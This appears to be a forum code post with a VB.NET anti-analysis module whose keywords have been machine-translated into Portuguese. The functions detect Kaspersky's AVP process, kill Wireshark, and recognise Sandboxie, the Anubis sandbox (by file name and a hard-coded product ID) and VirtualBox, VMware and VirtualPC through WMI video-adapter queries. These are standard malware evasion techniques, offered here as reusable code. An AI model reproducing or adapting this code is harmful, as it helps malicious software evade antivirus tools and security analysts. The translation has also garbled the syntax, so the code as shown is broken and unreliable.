Código: Seleccionar todo
Importações Microsoft . Win32 Módulo Antis Dim Devices
Como objeto , Grafikadapter Como Corda , regiona Como corda = "SELECT * FROM Win32_VideoController"
Dim regPID Como RegistryKey = Registry . LocalMachine . OpenSubKey ( "SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion" , False )
Dim pid Como objeto = regPID . GetValue ( "ProductId" )
id Dim Como corda = "76487-337-8429955-22614"
Função Pública antiKAV () As Boolean
On Error GoTo error1
Se Processo . GetProcessesByName ( "AVP" ). Comprimento > = 1 Em seguida,
retorno Verdadeiro
Else
retorno False
End Se
Exit Function
error1 :
End
End Function
privado Sub AntiWireShark ()
Dim pROCESSLIST Como sistema . Diagnostics . Processo ()
pROCESSLIST = Sistema . Diagnostics . Processo . GetProcesses ()
Dim Proc Como Sistema . Diagnostics . Processo título Dim
Como Cordas
Para Cada Proc Em pROCESSLIST
título = Proc . MainWindowTitle
Se ( corda . Equals ( título , "O Wireshark Network Analyzer" )) Em seguida, Proc
. Matar ()
End Se
Seguinte
End Sub
Função Pública antiSandboxie () As Boolean
On Error GoTo error1
Se Processo . GetProcessesByName ( "SbieSvc" .) Comprimento > = 1 Em seguida,
retorno Verdadeiro
Else
retorno False
End Se
Exit Function
error1 :
End
End Function Função Pública
antiAnubis () As Boolean
On Error GoTo error1
pasta Dim Como Cordas = Aplicação . StartupPath
dim getFile Como Cordas = pasta & "\ sample.exe"
Se Aplicação . ExecutablePath = getFile Então
retorno Verdadeiro
Else
retorno False
End Se
Exit Function
error1 :
End
End Function Função Pública
antiAnubis2 () As Boolean
On Error GoTo error1
Se pid = id seguida
voltar verdadeira
Else
retornar False
End Se
Exit Function
error1 :
End
End Function Função Pública
AntiVirtualBox () As Boolean
On Error GoTo error1
getDevices de chamada ()
Selecione Caso Grafikadapter
Caso "Graphics Adapter VirtualBox"
retornar verdadeiro
Case Else
retornar False
End Select
Exit Function
error1 :
End
End Function Função Pública
AntiVmWare () As Boolean
On Error GoTo error1
getDevices de chamada ()
Selecione Caso Grafikadapter
Caso "VMware SVGA II"
Voltar verdadeiro
Case Else
retorno False
End Select
Exit Function
error1 :
End
End Function Função Pública
AntiVirtualPC () As Boolean
On erro GoTo error1
getDevices de chamada ()
Select Caso Grafikadapter
caso "VM adições S3 Trio32 / 64"
Voltar verdadeiro
Case Else
retorno False
End Select
Exit Function
error1 :
End
End Função privados
getDevices Sub ()
on error GoTo error1
Devices = GetObject ( "winmgmts: " .) ExecQuery ( regiona )
Para Cada AdaptList em dispositivos de
Grafikadapter = AdaptList . Descrição
Próximo
Exit Sub
error1 :
End
End Sub
End Module